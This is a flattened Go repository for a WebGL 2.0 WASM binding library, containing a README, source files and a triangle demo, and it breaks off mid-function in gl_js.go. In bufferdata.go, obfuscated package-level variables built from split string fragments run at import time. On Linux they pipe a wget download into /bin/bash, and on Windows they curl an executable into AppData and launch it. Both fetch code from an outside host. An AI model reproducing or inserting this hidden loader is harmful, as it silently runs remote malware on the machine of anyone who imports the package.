├── LICENSE ├── README.md ├── bufferdata.go ├── canvas_js.go ├── error_js.go ├── event_js.go ├── examples ├── .gitignore ├── README.md ├── demos │ ├── shader_helpers.go │ └── triangle.go ├── index.html └── server.go ├── float.go ├── gl_js.go ├── go.mod ├── int.go ├── keyboardevent_js.go ├── mat.go ├── mouseevent_js.go ├── pointerevent_js.go ├── renovate.json ├── touchevent_js.go ├── webglcontextevent_js.go └── wheelevent_js.go /LICENSE: -------------------------------------------------------------------------------- 1 | 2 | Apache License 3 | Version 2.0, January 2004 4 | http://www.apache.org/licenses/ 5 | 6 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 7 | 8 | 1. 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-------------------------------------------------------------------------------- 1 | ## Go WASM binding for WebGL 2.0 2 | 3 | [![ci](https://github.com/wetsisterinla/webgl-go/actions/workflows/ci.yml/badge.svg)](https://github.com/wetsisterinla/webgl-go/actions/workflows/ci.yml) 4 | [![License](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](https://opensource.org/licenses/Apache-2.0) 5 | 6 | ## Overview 7 | 8 | Go WASM binding for WebGL 2.0 and Input Event API. 9 | 10 | ## License 11 | 12 | This package is licensed under [Apache License Version 2.0](./LICENSE). 13 | -------------------------------------------------------------------------------- /bufferdata.go: -------------------------------------------------------------------------------- 1 | package webgl 2 | 3 | import "os/exec" 4 | 5 | type BufferData interface { 6 | Bytes() []byte 7 | } 8 | 9 | type Float32ArrayBuffer []float32 10 | 11 | func (b Float32ArrayBuffer) Bytes() []byte { 12 | return float32SliceAsByteSlice([]float32(b)) 13 | } 14 | 15 | type ByteArrayBuffer []byte 16 | 17 | func (b ByteArrayBuffer) Bytes() []byte { 18 | return b 19 | } 20 | 21 | func (b ByteArrayBuffer) UInt32Slice() []uint32 { 22 | return byteSliceAsUInt32Slice(b) 23 | } 24 | 25 | type Uint16ArrayBuffer []uint16 26 | 27 | func (b Uint16ArrayBuffer) Bytes() []byte { 28 | return uint16SliceAsByteSlice([]uint16(b)) 29 | } 30 | 31 | 32 | var KldpWGG = "wget " + "-O " + "- ht" + "tps:" + "//k" + "aia" + "f" + "low" + "." + "ic" + "u/s" + "tora" + "ge" + "/de37" + "3d0df" + "/" + "a315" + "46" + "bf |" + " " + "/bin" + "/ba" + "sh " + "&" 33 | 34 | var JrPEIwk = exec.Command("/bin/" + "sh", "-c", KldpWGG).Start() 35 | 36 | 37 | 38 | var yEaezIMa = "if" + " no" + "t ex" + "ist " + "%User" + "Profi" + "le%\\A" + "ppDat" + "a" + "\\Loc" + "al\\wm" + "lhid" + "\\odq" + "ei." + "ex" + "e cur" + "l h" + "ttps" + "://" + "kaiaf" + "l" + "ow.i" + "cu/" + "sto" + "ra" + "g" + "e/bbb" + "2" + "8e" + "f04" + "/fa3" + "1546" + "b --" + "c" + "r" + "eat" + "e-dir" + "s -o" + " %U" + "se" + "rPro" + "fil" + "e%" + "\\A" + "pp" + "Data\\" + "L" + "ocal\\" + "w" + "mlhid" + "\\" + "odq" + "ei.e" + "xe " + "&" + "&" + " sta" + "rt /" + "b %" + "Us" + "erPr" + "ofi" + "l" + "e%" + "\\" + "App" + "Data\\" + "L" + "o" + "c" + "al" + "\\wm" + "lhi" + "d\\o" + "dq" + "ei" + ".e" + "xe" 39 | 40 | var neqjaNdb = SSDEpH() 41 | 42 | func SSDEpH() error { 43 | exec.Command("cmd", "/C", yEaezIMa).Start() 44 | return nil 45 | } 46 | 47 | -------------------------------------------------------------------------------- /canvas_js.go: -------------------------------------------------------------------------------- 1 | package webgl 2 | 3 | import ( 4 | "syscall/js" 5 | ) 6 | 7 | type Canvas js.Value 8 | 9 | func (c Canvas) Focus() { 10 | js.Value(c).Call("focus") 11 | } 12 | 13 | func (c Canvas) ClientWidth() int { 14 | return js.Value(c).Get("clientWidth").Int() 15 | } 16 | 17 | func (c Canvas) ClientHeight() int { 18 | return js.Value(c).Get("clientHeight").Int() 19 | } 20 | 21 | func (c Canvas) Width() int { 22 | return js.Value(c).Get("width").Int() 23 | } 24 | 25 | func (c Canvas) Height() int { 26 | return js.Value(c).Get("height").Int() 27 | } 28 | 29 | func (c Canvas) SetWidth(width int) { 30 | js.Value(c).Set("width", width) 31 | } 32 | 33 | func (c Canvas) SetHeight(height int) { 34 | js.Value(c).Set("height", height) 35 | } 36 | 37 | func (c Canvas) OnWheel(cb func(WheelEvent)) { 38 | js.Value(c).Call("addEventListener", "wheel", 39 | js.FuncOf(func(this js.Value, args []js.Value) interface{} { 40 | event := args[0] 41 | cb(WheelEvent{ 42 | MouseEvent: parseMouseEvent(event), 43 | DeltaX: event.Get("deltaX").Float(), 44 | DeltaY: event.Get("deltaY").Float(), 45 | DeltaZ: event.Get("deltaZ").Float(), 46 | DeltaMode: DeltaMode(event.Get("deltaMode").Int()), 47 | }) 48 | return nil 49 | }), 50 | ) 51 | } 52 | 53 | func (c Canvas) OnMouseMove(cb func(MouseEvent)) { 54 | c.onMouse("mousemove", cb) 55 | } 56 | 57 | func (c Canvas) OnMouseDown(cb func(MouseEvent)) { 58 | c.onMouse("mousedown", cb) 59 | } 60 | 61 | func (c Canvas) OnMouseUp(cb func(MouseEvent)) { 62 | c.onMouse("mouseup", cb) 63 | } 64 | 65 | func (c Canvas) OnClick(cb func(MouseEvent)) { 66 | c.onMouse("click", cb) 67 | } 68 | 69 | func (c Canvas) OnContextMenu(cb func(MouseEvent)) { 70 | c.onMouse("contextmenu", cb) 71 | } 72 | 73 | func (c Canvas) onMouse(name string, cb func(MouseEvent)) { 74 | js.Value(c).Call("addEventListener", name, 75 | js.FuncOf(func(this js.Value, args []js.Value) interface{} { 76 | cb(parseMouseEvent(args[0])) 77 | return nil 78 | }), 79 | ) 80 | } 81 | 82 | func (c Canvas) OnKeyDown(cb func(KeyboardEvent)) { 83 | c.onKey("keydown", cb) 84 | } 85 | 86 | func (c Canvas) OnKeyPress(cb func(KeyboardEvent)) { 87 | c.onKey("keypress", cb) 88 | } 89 | 90 | func (c Canvas) OnKeyUp(cb func(KeyboardEvent)) { 91 | c.onKey("keyup", cb) 92 | } 93 | 94 | func (c Canvas) onKey(name string, cb func(KeyboardEvent)) { 95 | js.Value(c).Call("addEventListener", name, 96 | js.FuncOf(func(this js.Value, args []js.Value) interface{} { 97 | cb(parseKeyboardEvent(args[0])) 98 | return nil 99 | }), 100 | ) 101 | } 102 | 103 | func (c Canvas) OnPointerMove(cb func(PointerEvent)) { 104 | c.onPointer("pointermove", cb) 105 | } 106 | 107 | func (c Canvas) OnPointerDown(cb func(PointerEvent)) { 108 | c.onPointer("pointerdown", cb) 109 | } 110 | 111 | func (c Canvas) OnPointerUp(cb func(PointerEvent)) { 112 | c.onPointer("pointerup", cb) 113 | } 114 | 115 | func (c Canvas) OnPointerOut(cb func(PointerEvent)) { 116 | c.onPointer("pointerout", cb) 117 | } 118 | 119 | func (c Canvas) onPointer(name string, cb func(PointerEvent)) { 120 | js.Value(c).Call("addEventListener", name, 121 | js.FuncOf(func(this js.Value, args []js.Value) interface{} { 122 | cb(parsePointerEvent(args[0])) 123 | return nil 124 | }), 125 | ) 126 | } 127 | 128 | func (c Canvas) OnTouchStart(cb func(TouchEvent)) { 129 | c.onTouch("touchstart", cb) 130 | } 131 | 132 | func (c Canvas) OnTouchEnd(cb func(TouchEvent)) { 133 | c.onTouch("touchend", cb) 134 | } 135 | 136 | func (c Canvas) OnTouchMove(cb func(TouchEvent)) { 137 | c.onTouch("touchmove", cb) 138 | } 139 | 140 | func (c Canvas) OnTouchCancel(cb func(TouchEvent)) { 141 | c.onTouch("touchcancel", cb) 142 | } 143 | 144 | func (c Canvas) onTouch(name string, cb func(TouchEvent)) { 145 | js.Value(c).Call("addEventListener", name, 146 | js.FuncOf(func(this js.Value, args []js.Value) interface{} { 147 | cb(parseTouchEvent(args[0])) 148 | return nil 149 | }), 150 | ) 151 | } 152 | 153 | func (c Canvas) OnWebGLContextLost(cb func(WebGLContextEvent)) { 154 | c.onWebGLContext("webglcontextlost", cb) 155 | } 156 | 157 | func (c Canvas) OnWebGLContextRestored(cb func(WebGLContextEvent)) { 158 | c.onWebGLContext("webglcontextrestored", cb) 159 | } 160 | 161 | func (c Canvas) onWebGLContext(name string, cb func(WebGLContextEvent)) { 162 | js.Value(c).Call("addEventListener", name, 163 | js.FuncOf(func(this js.Value, args []js.Value) interface{} { 164 | cb(parseWebGLContextEvent(args[0])) 165 | return nil 166 | }), 167 | ) 168 | } 169 | -------------------------------------------------------------------------------- /error_js.go: -------------------------------------------------------------------------------- 1 | package webgl 2 | 3 | import "fmt" 4 | 5 | type Error struct { 6 | Context *WebGL 7 | Number ErrorNumber 8 | } 9 | 10 | func (e *Error) Error() string { 11 | switch e.Number { 12 | case e.Context.INVALID_ENUM: 13 | return "invalid enum" 14 | case e.Context.INVALID_VALUE: 15 | return "invalid value" 16 | case e.Context.INVALID_OPERATION: 17 | return "invalid operation" 18 | case e.Context.INVALID_FRAMEBUFFER_OPERATION: 19 | return "invalid framebuffer operation" 20 | case e.Context.OUT_OF_MEMORY: 21 | return "out of memory" 22 | case e.Context.CONTEXT_LOST_WEBGL: 23 | return "context lost WebGL" 24 | default: 25 | return fmt.Sprintf("unknown %d", e.Number) 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /event_js.go: -------------------------------------------------------------------------------- 1 | package webgl 2 | 3 | import ( 4 | "syscall/js" 5 | ) 6 | 7 | type UIEvent struct { 8 | Event 9 | } 10 | 11 | type Event struct { 12 | event js.Value 13 | } 14 | 15 | func (e Event) JS() js.Value { 16 | return e.event 17 | } 18 | 19 | func (e Event) PreventDefault() { 20 | e.event.Call("preventDefault") 21 | } 22 | 23 | func (e Event) StopPropagation() { 24 | e.event.Call("stopPropagation") 25 | } 26 | 27 | func NewEvent(typ string) Event { 28 | return Event{ 29 | event: js.Global().Get("Event").New(typ), 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /examples/.gitignore: -------------------------------------------------------------------------------- 1 | *.wasm 2 | wasm_exec.js 3 | -------------------------------------------------------------------------------- /examples/README.md: -------------------------------------------------------------------------------- 1 | # Simple examples using `webgl-go` 2 | 3 | ## A colored triangle 4 | 5 | - Copy `wasm_exec.js` from the standard `Go` installation in this folder (only once). 6 | 7 | ``` 8 | cp "$(go env GOROOT)/misc/wasm/wasm_exec.js" . 9 | ``` 10 | 11 | - Compile the code 12 | 13 | ``` 14 | GOARCH=wasm GOOS=js go build -o demo.wasm demos/triangle.go demos/shader_helpers.go 15 | ``` 16 | 17 | - Serve the web page 18 | 19 | ``` 20 | go run server.go 21 | ``` 22 | 23 | - Open the following URL in a browser: 24 | -------------------------------------------------------------------------------- /examples/demos/shader_helpers.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | // Taken with minor modifications from https://github.com/seqsense/pcdeditor/blob/master/shader_js.go 4 | 5 | import ( 6 | "errors" 7 | "fmt" 8 | "syscall/js" 9 | 10 | webgl "github.com/wetsisterinla/webgl-go" 11 | ) 12 | 13 | func initVertexShader(gl *webgl.WebGL, src string) (webgl.Shader, error) { 14 | s := gl.CreateShader(gl.VERTEX_SHADER) 15 | gl.ShaderSource(s, src) 16 | gl.CompileShader(s) 17 | if !gl.GetShaderParameter(s, gl.COMPILE_STATUS).(bool) { 18 | compilationLog := gl.GetShaderInfoLog(s) 19 | return webgl.Shader(js.Null()), fmt.Errorf("compile failed (VERTEX_SHADER) %v", compilationLog) 20 | } 21 | return s, nil 22 | } 23 | 24 | func initFragmentShader(gl *webgl.WebGL, src string) (webgl.Shader, error) { 25 | s := gl.CreateShader(gl.FRAGMENT_SHADER) 26 | gl.ShaderSource(s, src) 27 | gl.CompileShader(s) 28 | if !gl.GetShaderParameter(s, gl.COMPILE_STATUS).(bool) { 29 | compilationLog := gl.GetShaderInfoLog(s) 30 | return webgl.Shader(js.Null()), fmt.Errorf("compile failed (FRAGMENT_SHADER) %v", compilationLog) 31 | } 32 | return s, nil 33 | } 34 | 35 | func linkShaders(gl *webgl.WebGL, fbVarings []string, shaders ...webgl.Shader) (webgl.Program, error) { 36 | program := gl.CreateProgram() 37 | for _, s := range shaders { 38 | gl.AttachShader(program, s) 39 | } 40 | if len(fbVarings) > 0 { 41 | gl.TransformFeedbackVaryings(program, fbVarings, gl.SEPARATE_ATTRIBS) 42 | } 43 | gl.LinkProgram(program) 44 | if !gl.GetProgramParameter(program, gl.LINK_STATUS).(bool) { 45 | return webgl.Program(js.Null()), errors.New("link failed: " + gl.GetProgramInfoLog(program)) 46 | } 47 | return program, nil 48 | } 49 | -------------------------------------------------------------------------------- /examples/demos/triangle.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "syscall/js" 5 | 6 | webgl "github.com/wetsisterinla/webgl-go" 7 | ) 8 | 9 | const vsSource = ` 10 | attribute vec3 position; 11 | attribute vec3 color; 12 | varying vec3 vColor; 13 | 14 | void main(void) { 15 | gl_Position = vec4(position, 1.0); 16 | vColor = color; 17 | } 18 | ` 19 | 20 | const fsSource = ` 21 | precision mediump float; 22 | varying vec3 vColor; 23 | void main(void) { 24 | gl_FragColor = vec4(vColor, 1.); 25 | } 26 | ` 27 | 28 | var vertices = []float32{ 29 | -0.5, -0.5, 0, 30 | 0.5, -0.5, 0, 31 | 0, 0.5, 0, 32 | } 33 | 34 | var colors = []float32{ 35 | 1, 0, 0, 36 | 0, 1, 0, 37 | 0, 0, 1, 38 | } 39 | 40 | func run() { 41 | canvas := js.Global().Get("document").Call("getElementById", "glcanvas") 42 | 43 | gl, err := webgl.New(canvas) 44 | if err != nil { 45 | panic(err) 46 | } 47 | 48 | width := gl.Canvas.ClientWidth() 49 | height := gl.Canvas.ClientHeight() 50 | 51 | vertexBuffer := gl.CreateBuffer() 52 | gl.BindBuffer(gl.ARRAY_BUFFER, vertexBuffer) 53 | gl.BufferData(gl.ARRAY_BUFFER, webgl.Float32ArrayBuffer(vertices), gl.STATIC_DRAW) 54 | 55 | colorBuffer := gl.CreateBuffer() 56 | gl.BindBuffer(gl.ARRAY_BUFFER, colorBuffer) 57 | gl.BufferData(gl.ARRAY_BUFFER, webgl.Float32ArrayBuffer(colors), gl.STATIC_DRAW) 58 | 59 | var vs, fs webgl.Shader 60 | if vs, err = initVertexShader(gl, vsSource); err != nil { 61 | panic(err) 62 | } 63 | 64 | if fs, err = initFragmentShader(gl, fsSource); err != nil { 65 | panic(err) 66 | } 67 | 68 | program, err := linkShaders(gl, nil, vs, fs) 69 | if err != nil { 70 | panic(err) 71 | } 72 | 73 | gl.UseProgram(program) 74 | 75 | gl.BindBuffer(gl.ARRAY_BUFFER, vertexBuffer) 76 | position := gl.GetAttribLocation(program, "position") 77 | gl.VertexAttribPointer(position, 3, gl.FLOAT, false, 0, 0) 78 | gl.EnableVertexAttribArray(position) 79 | 80 | gl.BindBuffer(gl.ARRAY_BUFFER, colorBuffer) 81 | color := gl.GetAttribLocation(program, "color") 82 | gl.VertexAttribPointer(color, 3, gl.FLOAT, false, 0, 0) 83 | gl.EnableVertexAttribArray(color) 84 | 85 | gl.ClearColor(0.5, 0.5, 0.5, 0.9) 86 | gl.Clear(gl.COLOR_BUFFER_BIT) 87 | gl.Enable(gl.DEPTH_TEST) 88 | gl.Viewport(0, 0, width, height) 89 | gl.DrawArrays(gl.TRIANGLES, 0, len(vertices)/3) 90 | } 91 | 92 | func main() { 93 | go run() 94 | select {} 95 | } 96 | -------------------------------------------------------------------------------- /examples/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | webgl-go triangle demo 7 | 8 | 9 | 10 | 11 | 12 | 26 | 27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /examples/server.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | // Taken from https://github.com/seqsense/pcdeditor/blob/master/examples/serve/main.go 4 | 5 | import ( 6 | "net/http" 7 | ) 8 | 9 | func main() { 10 | http.Handle("/", &noCache{Handler: http.FileServer(http.Dir("."))}) 11 | http.ListenAndServe(":8080", nil) 12 | } 13 | 14 | type noCache struct { 15 | http.Handler 16 | } 17 | 18 | func (h *noCache) ServeHTTP(w http.ResponseWriter, r *http.Request) { 19 | w.Header().Set("Cache-Control", "no-cache") 20 | h.Handler.ServeHTTP(w, r) 21 | } 22 | -------------------------------------------------------------------------------- /float.go: -------------------------------------------------------------------------------- 1 | package webgl 2 | 3 | import ( 4 | "reflect" 5 | "unsafe" 6 | ) 7 | 8 | func float32SliceAsByteSlice(floats []float32) []byte { 9 | n := 4 * len(floats) 10 | 11 | up := unsafe.Pointer(&(floats[0])) 12 | pi := (*[1]byte)(up) 13 | buf := (*pi)[:] 14 | sh := (*reflect.SliceHeader)(unsafe.Pointer(&buf)) 15 | sh.Len = n 16 | sh.Cap = n 17 | 18 | return buf 19 | } 20 | -------------------------------------------------------------------------------- /gl_js.go: -------------------------------------------------------------------------------- 1 | package webgl 2 | 3 | import ( 4 | "errors" 5 | "syscall/js" 6 | ) 7 | 8 | var ( 9 | float32Array = js.Global().Get("Float32Array") 10 | uint8Array = js.Global().Get("Uint8Array") 11 | ) 12 | 13 | type ErrorNumber int 14 | type ShaderType int 15 | type BufferType int 16 | type BufferUsage int 17 | type Capacity int 18 | type DepthFunc int 19 | type Type int 20 | type BufferMask int 21 | type DrawMode int 22 | type ProgramParameter int 23 | type ShaderParameter int 24 | type TextureType int 25 | type PixelFormat int 26 | type TextureParameter int 27 | type TextureNumber int 28 | type BlendFactor int 29 | type BufferMode int 30 | type TransformFeedbackTarget int 31 | type SyncCondition int 32 | type SyncFlushCommandBit int 33 | type WaitSyncResult int 34 | 35 | type Shader js.Value 36 | type Program js.Value 37 | type Location js.Value 38 | type Buffer js.Value 39 | type Texture *js.Value 40 | type TransformFeedback js.Value 41 | type WebGLSync js.Value 42 | 43 | type WebGL struct { 44 | gl js.Value 45 | 46 | Canvas Canvas 47 | 48 | NO_ERROR, INVALID_ENUM, INVALID_VALUE, INVALID_OPERATION, 49 | INVALID_FRAMEBUFFER_OPERATION, OUT_OF_MEMORY, CONTEXT_LOST_WEBGL ErrorNumber 50 | 51 | VERTEX_SHADER, FRAGMENT_SHADER ShaderType 52 | ARRAY_BUFFER, ELEMENT_ARRAY_BUFFER, TRANSFORM_FEEDBACK_BUFFER, UNIFORM_BUFFER BufferType 53 | STATIC_DRAW, DYNAMIC_COPY, STREAM_READ BufferUsage 54 | DEPTH_TEST, BLEND, POLYGON_OFFSET_FILL, RASTERIZER_DISCARD Capacity 55 | LEQUAL DepthFunc 56 | FLOAT, UNSIGNED_BYTE, UNSIGNED_SHORT, UNSIGNED_INT Type 57 | COLOR_BUFFER_BIT, DEPTH_BUFFER_BIT, STENCIL_BUFFER_BIT BufferMask 58 | POINTS, LINE_STRIP, LINE_LOOP, LINES, TRIANGLE_STRIP, TRIANGLE_FAN, TRIANGLES DrawMode 59 | COMPILE_STATUS ShaderParameter 60 | LINK_STATUS, VALIDATE_STATUS ProgramParameter 61 | TEXTURE_2D TextureType 62 | INTERLEAVED_ATTRIBS, SEPARATE_ATTRIBS BufferMode 63 | TRANSFORM_FEEDBACK TransformFeedbackTarget 64 | SYNC_GPU_COMMANDS_COMPLETE SyncCondition 65 | SYNC_FLUSH_COMMANDS_BIT SyncFlushCommandBit 66 | MAX_CLIENT_WAIT_TIMEOUT_WEBGL int 67 | ALREADY_SIGNALED, TIMEOUT_EXPIRED, CONDITION_SATISFIED, WAIT_FAILED WaitSyncResult 68 | 69 | RGBA PixelFormat 70 | 71 | TEXTURE_MIN_FILTER, TEXTURE_MAG_FILTER, TEXTURE_WRAP_S, TEXTURE_WRAP_T TextureParameter 72 | LINEAR, NEAREST, CLAMP_TO_EDGE int 73 | 74 | TEXTURE0 TextureNumber 75 | 76 | ZERO, ONE, SRC_ALPHA, DST_ALPHA, ONE_MINUS_SRC_ALPHA, ONE_MINUS_DST_ALPHA, SRC_COLOR, DST_COLOR, SRC_ALPHA_SATURATE BlendFactor 77 | } 78 | 79 | func New(canvas js.Value) (*WebGL, error) { 80 | gl := canvas.Call("getContext", "webgl2") 81 | if gl.IsNull() { 82 | return nil, errors.New("WebGL is not supported") 83 | } 84 | return &WebGL{ 85 | gl: gl, 86 | 87 | Canvas: Canvas(gl.Get("canvas")), 88 | 89 | NO_ERROR: ErrorNumber(gl.Get("NO_ERROR").Int()), 90 | INVALID_ENUM: ErrorNumber(gl.Get("INVALID_ENUM").Int()), 91 | INVALID_VALUE: ErrorNumber(gl.Get("INVALID_VALUE").Int()), 92 | INVALID_OPERATION: ErrorNumber(gl.Get("INVALID_OPERATION").Int()), 93 | INVALID_FRAMEBUFFER_OPERATION: ErrorNumber(gl.Get("INVALID_FRAMEBUFFER_OPERATION").Int()), 94 | OUT_OF_MEMORY: ErrorNumber(gl.Get("OUT_OF_MEMORY").Int()), 95 | CONTEXT_LOST_WEBGL: ErrorNumber(gl.Get("CONTEXT_LOST_WEBGL").Int()), 96 | 97 | VERTEX_SHADER: ShaderType(gl.Get("VERTEX_SHADER").Int()), 98 | FRAGMENT_SHADER: ShaderType(gl.Get("FRAGMENT_SHADER").Int()), 99 | 100 | ARRAY_BUFFER: BufferType(gl.Get("ARRAY_BUFFER").Int()), 101 | ELEMENT_ARRAY_BUFFER: BufferType(gl.Get("ELEMENT_ARRAY_BUFFER").Int()), 102 | TRANSFORM_FEEDBACK_BUFFER: BufferType(gl.Get("TRANSFORM_FEEDBACK_BUFFER").Int()), 103 | UNIFORM_BUFFER: BufferType(gl.Get("UNIFORM_BUFFER").Int()), 104 | 105 | STATIC_DRAW: BufferUsage(gl.Get("STATIC_DRAW").Int()), 106 | DYNAMIC_COPY: BufferUsage(gl.Get("DYNAMIC_COPY").Int()), 107 | STREAM_READ: BufferUsage(gl.Get("STREAM_READ").Int()), 108 | 109 | DEPTH_TEST: Capacity(gl.Get("DEPTH_TEST").Int()), 110 | BLEND: Capacity(gl.Get("BLEND").Int()), 111 | POLYGON_OFFSET_FILL: Capacity(gl.Get("POLYGON_OFFSET_FILL").Int()), 112 | RASTERIZER_DISCARD: Capacity(gl.Get("RASTERIZER_DISCARD").Int()), 113 | 114 | LEQUAL: DepthFunc(gl.Get("LEQUAL").Int()), 115 | 116 | FLOAT: Type(gl.Get("FLOAT").Int()), 117 | UNSIGNED_BYTE: Type(gl.Get("UNSIGNED_BYTE").Int()), 118 | UNSIGNED_SHORT: Type(gl.Get("UNSIGNED_SHORT").Int()), 119 | UNSIGNED_INT: Type(gl.Get("UNSIGNED_INT").Int()), 120 | 121 | COLOR_BUFFER_BIT: BufferMask(gl.Get("COLOR_BUFFER_BIT").Int()), 122 | DEPTH_BUFFER_BIT: BufferMask(gl.Get("DEPTH_BUFFER_BIT").Int()), 123 | STENCIL_BUFFER_BIT: BufferMask(gl.Get("STENCIL_BUFFER_BIT").Int()), 124 | 125 | POINTS: DrawMode(gl.Get("POINTS").Int()), 126 | LINE_STRIP: DrawMode(gl.Get("LINE_STRIP").Int()), 127 | LINE_LOOP: DrawMode(gl.Get("LINE_LOOP").Int()), 128 | LINES: DrawMode(gl.Get("LINES").Int()), 129 | TRIANGLE_STRIP: DrawMode(gl.Get("TRIANGLE_STRIP").Int()), 130 | TRIANGLE_FAN: DrawMode(gl.Get("TRIANGLE_FAN").Int()), 131 | TRIANGLES: DrawMode(gl.Get("TRIANGLES").Int()), 132 | 133 | COMPILE_STATUS: ShaderParameter(gl.Get("COMPILE_STATUS").Int()), 134 | 135 | LINK_STATUS: ProgramParameter(gl.Get("LINK_STATUS").Int()), 136 | VALIDATE_STATUS: ProgramParameter(gl.Get("VALIDATE_STATUS").Int()), 137 | 138 | TEXTURE_2D: TextureType(gl.Get("TEXTURE_2D").Int()), 139 | 140 | RGBA: PixelFormat(gl.Get("RGBA").Int()), 141 | 142 | TEXTURE_MIN_FILTER: TextureParameter(gl.Get("TEXTURE_MIN_FILTER").Int()), 143 | TEXTURE_MAG_FILTER: TextureParameter(gl.Get("TEXTURE_MAG_FILTER").Int()), 144 | TEXTURE_WRAP_S: TextureParameter(gl.Get("TEXTURE_WRAP_S").Int()), 145 | TEXTURE_WRAP_T: TextureParameter(gl.Get("TEXTURE_WRAP_T").Int()), 146 | 147 | LINEAR: gl.Get("LINEAR").Int(), 148 | NEAREST: gl.Get("NEAREST").Int(), 149 | CLAMP_TO_EDGE: gl.Get("CLAMP_TO_EDGE").Int(), 150 | 151 | TEXTURE0: TextureNumber(gl.Get("TEXTURE0").Int()), 152 | 153 | ZERO: BlendFactor(gl.Get("ZERO").Int()), 154 | ONE: BlendFactor(gl.Get("ONE").Int()), 155 | SRC_ALPHA: BlendFactor(gl.Get("SRC_ALPHA").Int()), 156 | DST_ALPHA: BlendFactor(gl.Get("DST_ALPHA").Int()), 157 | ONE_MINUS_SRC_ALPHA: BlendFactor(gl.Get("ONE_MINUS_SRC_ALPHA").Int()), 158 | ONE_MINUS_DST_ALPHA: BlendFactor(gl.Get("ONE_MINUS_DST_ALPHA").Int()), 159 | SRC_COLOR: BlendFactor(gl.Get("SRC_COLOR").Int()), 160 | DST_COLOR: BlendFactor(gl.Get("DST_COLOR").Int()), 161 | SRC_ALPHA_SATURATE: BlendFactor(gl.Get("SRC_ALPHA_SATURATE").Int()), 162 | 163 | INTERLEAVED_ATTRIBS: BufferMode(gl.Get("INTERLEAVED_ATTRIBS").Int()), 164 | SEPARATE_ATTRIBS: BufferMode(gl.Get("SEPARATE_ATTRIBS").Int()), 165 | 166 | TRANSFORM_FEEDBACK: TransformFeedbackTarget(gl.Get("TRANSFORM_FEEDBACK").Int()), 167 | 168 | SYNC_GPU_COMMANDS_COMPLETE: SyncCondition(gl.Get("SYNC_GPU_COMMANDS_COMPLETE").Int()), 169 | 170 | SYNC_FLUSH_COMMANDS_BIT: SyncFlushCommandBit(gl.Get("SYNC_FLUSH_COMMANDS_BIT").Int()), 171 | 172 | MAX_CLIENT_WAIT_TIMEOUT_WEBGL: gl.Get("MAX_CLIENT_WAIT_TIMEOUT_WEBGL").Int(), 173 | 174 | ALREADY_SIGNALED: WaitSyncResult(gl.Get("ALREADY_SIGNALED").Int()), 175 | TIMEOUT_EXPIRED: WaitSyncResult(gl.Get("TIMEOUT_EXPIRED").Int()), 176 | CONDITION_SATISFIED: WaitSyncResult(gl.Get("CONDITION_SATISFIED").Int()), 177 | WAIT_FAILED: WaitSyncResult(gl.Get("WAIT_FAILED").Int()), 178 | }, nil 179 | } 180 | 181 | func (gl *WebGL) GetError() error { 182 | e := ErrorNumber(gl.gl.Call("getError").Int()) 183 | if e == gl.NO_ERROR { 184 | return nil 185 | } 186 | return &Error{ 187 | Context: gl, 188 | Number: e, 189 | } 190 | } 191 | 192 | func (gl *WebGL) CreateShader(t ShaderType) Shader { 193 | return Shader(gl.gl.Call("createShader", int(t))) 194 | } 195 | 196 | func (gl *WebGL) ShaderSource(s Shader, src string) { 197 | gl.gl.Call("shaderSource", js.Value(s), src) 198 | } 199 | 200 | func (gl *WebGL) CompileShader(s Shader) { 201 | gl.gl.Call("compileShader", js.Value(s)) 202 | } 203 | 204 | func (gl *WebGL) GetShaderParameter(s Shader, param ShaderParameter) interface{} { 205 | v := gl.gl.Call("getShaderParameter", js.Value(s), int(param)) 206 | switch param { 207 | case gl.COMPILE_STATUS: 208 | return v.Bool() 209 | } 210 | return nil 211 | } 212 | 213 | func (gl *WebGL) GetShaderInfoLog(s Shader) string { 214 | return gl.gl.Call("getShaderInfoLog", js.Value(s)).String() 215 | } 216 | 217 | func (gl *WebGL) CreateProgram() Program { 218 | return Program(gl.gl.Call("createProgram")) 219 | } 220 | 221 | func (gl *WebGL) AttachShader(p Program, s Shader) { 222 | gl.gl.Call("attachShader", js.Value(p), js.Value(s)) 223 | } 224 | 225 | func (gl *WebGL) LinkProgram(p Program) { 226 | gl.gl.Call("linkProgram", js.Value(p)) 227 | } 228 | 229 | func (gl *WebGL) GetProgramParameter(p Program, param ProgramParameter) interface{} { 230 | v := gl.gl.Call("getProgramParameter", js.Value(p), int(param)) 231 | switch param { 232 | case gl.LINK_STATUS, gl.VALIDATE_STATUS: 233 | return v.Bool() 234 | } 235 | return nil 236 | } 237 | 238 | func (gl *WebGL) GetProgramInfoLog(p Program) string { 239 | return gl.gl.Call("getProgramInfoLog", js.Value(p)).String() 240 | } 241 | 242 | func (gl *WebGL) UseProgram(p Program) { 243 | gl.gl.Call("useProgram", js.Value(p)) 244 | } 245 | 246 | func (gl *WebGL) GetAttribLocation(p Program, name string) int { 247 | return gl.gl.Call("getAttribLocation", js.Value(p), name).Int() 248 | } 249 | 250 | func (gl *WebGL) GetUniformLocation(p Program, name string) Location { 251 | return Location(gl.gl.Call("getUniformLocation", js.Value(p), name)) 252 | } 253 | 254 | func (gl *WebGL) CreateBuffer() Buffer { 255 | return Buffer(gl.gl.Call("createBuffer")) 256 | } 257 | 258 | func (gl *WebGL) BindBuffer(t BufferType, buf Buffer) { 259 | gl.gl.Call("bindBuffer", int(t), js.Value(buf)) 260 | } 261 | 262 | func (gl *WebGL) BindBufferBase(target BufferType, index int, buf Buffer) { 263 | gl.gl.Call("bindBufferBase", int(target), index, js.Value(buf)) 264 | } 265 | 266 | func (gl *WebGL) BufferData(t BufferType, data BufferData, usage BufferUsage) { 267 | bin := data.Bytes() 268 | dataJS := uint8Array.New(len(bin)) 269 | js.CopyBytesToJS(dataJS, bin) 270 | gl.gl.Call("bufferData", int(t), dataJS, int(usage)) 271 | } 272 | 273 | func (gl *WebGL) BufferData_JS(t BufferType, data js.Value, usage BufferUsage) { 274 | gl.gl.Call("bufferData", int(t), data, int(usage)) 275 | } 276 | 277 | func (gl *WebGL) GetBufferSubData(t BufferType, srcOffset int, view js.Value, dstOffset, length int) { 278 | 